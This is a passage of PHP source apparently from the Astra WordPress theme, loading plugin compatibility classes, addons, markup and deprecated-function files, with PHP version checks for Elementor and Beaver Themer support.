require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-jetpack.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/woocommerce/class-astra-woocommerce.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/edd/class-astra-edd.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/lifterlms/class-astra-lifterlms.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/learndash/class-astra-learndash.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-builder.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bb-ultimate-addon.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-contact-form-7.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-visual-composer.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-site-origin.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gravity-forms.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bne-flyout.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-ubermeu.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-divi-builder.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-amp.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-yoast-seo.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/surecart/class-astra-surecart.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-starter-content.php';
require_once ASTRA_THEME_DIR . 'inc/addons/transparent-header/class-astra-ext-transparent-header.php';
require_once ASTRA_THEME_DIR . 'inc/addons/breadcrumbs/class-astra-breadcrumbs.php';
require_once ASTRA_THEME_DIR . 'inc/addons/scroll-to-top/class-astra-scroll-to-top.php';
require_once ASTRA_THEME_DIR . 'inc/addons/heading-colors/class-astra-heading-colors.php';
require_once ASTRA_THEME_DIR . 'inc/builder/class-astra-builder-loader.php';

// Elementor Compatibility requires PHP 5.4 for namespaces.
if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) {
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor.php';
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor-pro.php';
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-web-stories.php';
}

// Beaver Themer compatibility requires PHP 5.3 for anonymous functions.
if ( version_compare( PHP_VERSION, '5.3', '>=' ) ) {
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-themer.php';
}

require_once ASTRA_THEME_DIR . 'inc/core/markup/class-astra-markup.php';

/**
 * Load deprecated functions
 */
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-filters.php';
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-hooks.php';
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-functions.php';
